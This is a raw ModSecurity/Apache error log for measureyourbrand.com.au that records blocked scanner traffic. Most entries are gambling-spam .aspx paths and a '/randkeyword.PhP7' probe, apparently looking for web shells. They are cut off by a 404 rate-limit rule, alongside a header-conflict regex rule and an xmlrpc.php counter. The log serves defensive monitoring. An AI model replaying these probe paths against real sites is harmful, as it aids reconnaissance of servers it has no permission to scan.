[Fri Feb 27 05:26:51.257635 2026] [:error] [pid 21329:tid 21407] [client 91.137.27.140:26669] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aaC6m5vQWnde-MjcQ1FgBwAAAVg"]
[Fri Feb 27 05:26:53.777299 2026] [:error] [pid 5365:tid 5372] [client 91.137.27.140:27959] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aaC6nZYAa8J3tYxdG3w6SgAAAQU"]
[Fri Feb 27 05:26:56.279795 2026] [:error] [pid 5365:tid 5386] [client 91.137.27.140:38207] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aaC6oJYAa8J3tYxdG3w6UAAAARM"]
[Fri Feb 27 05:26:58.777643 2026] [:error] [pid 3973:tid 3990] [client 91.137.27.140:37050] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aaC6ooJZsftwqmUaaLP8NwAAAAc"]
[Fri Feb 27 05:27:01.310085 2026] [:error] [pid 21329:tid 21393] [client 91.137.27.140:27777] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aaC6pZvQWnde-MjcQ1FgDgAAAUo"]
[Fri Feb 27 05:27:03.800292 2026] [:error] [pid 4081:tid 4099] [client 91.137.27.140:44953] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aaC6pw55mnr35z8h7t3ktwAAANA"]
[Fri Feb 27 05:27:06.179147 2026] [:error] [pid 5365:tid 5387] [client 91.137.27.140:41327] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aaC6qpYAa8J3tYxdG3w6XQAAARQ"]
[Fri Feb 27 05:27:08.676529 2026] [:error] [pid 42563:tid 42575] [client 91.137.27.140:22421] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aaC6rHKL5BclZy73IRHGwwAAAcc"]
[Fri Feb 27 05:27:11.168680 2026] [:error] [pid 42658:tid 42677] [client 91.137.27.140:12860] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aaC6r4zcoYl3nRbu1jZr2AAAAhE"]
[Fri Feb 27 05:27:13.487691 2026] [:error] [pid 42658:tid 42669] [client 91.137.27.140:23920] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aaC6sYzcoYl3nRbu1jZr2gAAAgk"]
[Fri Feb 27 05:27:15.800583 2026] [:error] [pid 42658:tid 42681] [client 91.137.27.140:30418] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aaC6s4zcoYl3nRbu1jZr4gAAAhU"]
[Fri Feb 27 05:27:18.114763 2026] [:error] [pid 3975:tid 4036] [client 91.137.27.140:42067] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aaC6thMVp0-T2hD76b2_swAAAJc"]
[Fri Feb 27 05:27:20.597261 2026] [:error] [pid 42658:tid 42682] [client 91.137.27.140:34791] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aaC6uIzcoYl3nRbu1jZr6QAAAhY"]
[Fri Feb 27 05:27:23.114367 2026] [:error] [pid 42658:tid 42661] [client 91.137.27.140:10335] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aaC6u4zcoYl3nRbu1jZr7QAAAgE"]
[Fri Feb 27 05:27:25.618665 2026] [:error] [pid 5365:tid 5380] [client 91.137.27.140:54221] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aaC6vZYAa8J3tYxdG3w6sAAAAQ0"]
[Fri Feb 27 05:27:28.134659 2026] [:error] [pid 21329:tid 21394] [client 91.137.27.140:35527] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aaC6wJvQWnde-MjcQ1FgJgAAAUs"]
[Fri Feb 27 05:27:30.610619 2026] [:error] [pid 42658:tid 42672] [client 91.137.27.140:36465] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aaC6wozcoYl3nRbu1jZr7wAAAgw"]
[Fri Feb 27 05:27:33.100684 2026] [:error] [pid 42563:tid 42583] [client 91.137.27.140:11201] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aaC6xXKL5BclZy73IRHG3AAAAc0"]
[Fri Feb 27 05:27:35.431033 2026] [:error] [pid 42435:tid 42442] [client 91.137.27.140:49532] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aaC6xx5hHLnaukp_y9-MPgAAAYI"]
[Fri Feb 27 05:27:37.932552 2026] [:error] [pid 42658:tid 42675] [client 91.137.27.140:2088] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aaC6yYzcoYl3nRbu1jZr-wAAAg8"]
[Fri Feb 27 05:27:40.421145 2026] [:error] [pid 3973:tid 4000] [client 91.137.27.140:3731] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aaC6zIJZsftwqmUaaLP8PgAAABE"]
[Fri Feb 27 05:28:01.405677 2026] [:error] [pid 3975:tid 4025] [client 91.137.27.140:3622] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aaC64RMVp0-T2hD76b2_wAAAAI8"]
[Fri Feb 27 05:28:03.848160 2026] [:error] [pid 42435:tid 42452] [client 91.137.27.140:65404] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aaC64x5hHLnaukp_y9-MSgAAAYw"]
[Fri Feb 27 05:28:06.343147 2026] [:error] [pid 3973:tid 4005] [client 91.137.27.140:52083] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aaC65oJZsftwqmUaaLP8RQAAABY"]
[Fri Feb 27 05:28:08.797489 2026] [:error] [pid 42563:tid 42588] [client 91.137.27.140:49168] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aaC66HKL5BclZy73IRHHIAAAAdI"]
[Fri Feb 27 05:28:11.248653 2026] [:error] [pid 5365:tid 5388] [client 91.137.27.140:64594] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aaC665YAa8J3tYxdG3w7CwAAARU"]
[Fri Feb 27 05:28:13.559701 2026] [:error] [pid 5365:tid 5374] [client 91.137.27.140:5918] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aaC67ZYAa8J3tYxdG3w7EQAAAQc"]
[Fri Feb 27 05:28:16.077712 2026] [:error] [pid 4081:tid 4106] [client 91.137.27.140:3138] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aaC68A55mnr35z8h7t3k6AAAANc"]
[Fri Feb 27 05:28:18.553414 2026] [:error] [pid 42435:tid 42441] [client 91.137.27.140:20078] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aaC68h5hHLnaukp_y9-MYAAAAYE"]
[Fri Feb 27 05:28:21.001765 2026] [:error] [pid 5365:tid 5376] [client 91.137.27.140:23700] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aaC69ZYAa8J3tYxdG3w7GgAAAQk"]
[Fri Feb 27 05:28:23.453157 2026] [:error] [pid 5365:tid 5374] [client 91.137.27.140:55032] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aaC695YAa8J3tYxdG3w7IAAAAQc"]
[Fri Feb 27 05:28:25.896638 2026] [:error] [pid 42563:tid 42572] [client 91.137.27.140:22689] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aaC6-XKL5BclZy73IRHHLQAAAcQ"]
[Fri Feb 27 05:28:28.365285 2026] [:error] [pid 42658:tid 42673] [client 91.137.27.140:61636] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aaC6_IzcoYl3nRbu1jZsIwAAAg0"]
[Fri Feb 27 05:28:30.860437 2026] [:error] [pid 3973:tid 3988] [client 91.137.27.140:36958] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aaC6_oJZsftwqmUaaLP8SgAAAAU"]
[Fri Feb 27 05:28:33.176762 2026] [:error] [pid 4081:tid 4102] [client 91.137.27.140:58260] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aaC7AQ55mnr35z8h7t3lAwAAANM"]
[Fri Feb 27 05:28:35.483035 2026] [:error] [pid 5365:tid 5385] [client 91.137.27.140:29104] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aaC7A5YAa8J3tYxdG3w7PwAAARI"]
[Fri Feb 27 05:28:37.998118 2026] [:error] [pid 42658:tid 42676] [client 91.137.27.140:54294] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aaC7BYzcoYl3nRbu1jZsMgAAAhA"]
[Fri Feb 27 05:28:40.459638 2026] [:error] [pid 42435:tid 42452] [client 91.137.27.140:42683] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aaC7CB5hHLnaukp_y9-MZwAAAYw"]
[Fri Feb 27 06:35:08.050848 2026] [:error] [pid 5365:tid 5391] [client 20.43.27.35:62065] [client 20.43.27.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaDKnJYAa8J3tYxdG3xhSQAAARg"]
[Fri Feb 27 06:35:08.925598 2026] [:error] [pid 42435:tid 42447] [client 20.43.27.35:62018] [client 20.43.27.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaDKnB5hHLnaukp_y9-bOgAAAYc"]
[Fri Feb 27 06:35:09.844892 2026] [:error] [pid 21329:tid 21395] [client 20.43.27.35:62992] [client 20.43.27.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaDKnZvQWnde-MjcQ1FqrwAAAUw"]
[Fri Feb 27 06:35:10.794033 2026] [:error] [pid 3974:tid 4050] [client 20.43.27.35:62978] [client 20.43.27.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaDKnnp-fQtdOYjkuFvlewAAAE0"]
[Fri Feb 27 06:40:44.312276 2026] [:error] [pid 42563:tid 42569] [client 43.135.144.81:46134] [client 43.135.144.81] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaDL7HKL5BclZy73IRHdDwAAAcE"]
[Fri Feb 27 07:45:53.963695 2026] [:error] [pid 5365:tid 5389] [client 49.51.52.250:35862] [client 49.51.52.250] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaDbMZYAa8J3tYxdG3ySsAAAARY"]
[Fri Feb 27 08:03:04.497931 2026] [:error] [pid 5365:tid 5382] [client 42.117.234.103:43484] [client 42.117.234.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 42.117.234.103, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaDfOJYAa8J3tYxdG3ydkwAAAQ8"]
[Fri Feb 27 08:11:47.364463 2026] [:error] [pid 3974:tid 4059] [client 54.38.38.130:40324] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aaDhQ3p-fQtdOYjkuFvvSwAAAFY"]
[Fri Feb 27 08:11:48.636306 2026] [:error] [pid 42658:tid 42661] [client 54.38.38.130:40336] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aaDhRIzcoYl3nRbu1ja32gAAAgE"]
[Fri Feb 27 08:11:50.234787 2026] [:error] [pid 42563:tid 42588] [client 54.38.38.130:53762] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aaDhRnKL5BclZy73IRH9wwAAAdI"]
[Fri Feb 27 08:11:51.563204 2026] [:error] [pid 42658:tid 42668] [client 54.38.38.130:53774] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aaDhR4zcoYl3nRbu1ja34gAAAgg"]
[Fri Feb 27 08:11:53.945961 2026] [:error] [pid 42658:tid 42678] [client 54.38.38.130:53786] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aaDhSYzcoYl3nRbu1ja36gAAAhI"]
[Fri Feb 27 08:11:54.872052 2026] [:error] [pid 3974:tid 4046] [client 54.38.38.130:53796] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aaDhSnp-fQtdOYjkuFvvTgAAAEk"]
[Fri Feb 27 08:11:56.536326 2026] [:error] [pid 42658:tid 42682] [client 54.38.38.130:49114] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aaDhTIzcoYl3nRbu1ja37QAAAhY"]
[Fri Feb 27 08:11:57.455727 2026] [:error] [pid 5365:tid 5390] [client 54.38.38.130:49126] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aaDhTZYAa8J3tYxdG3yi3wAAARc"]
[Fri Feb 27 08:11:59.816838 2026] [:error] [pid 42435:tid 42451] [client 54.38.38.130:49128] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aaDhTx5hHLnaukp_y9-yXAAAAYs"]
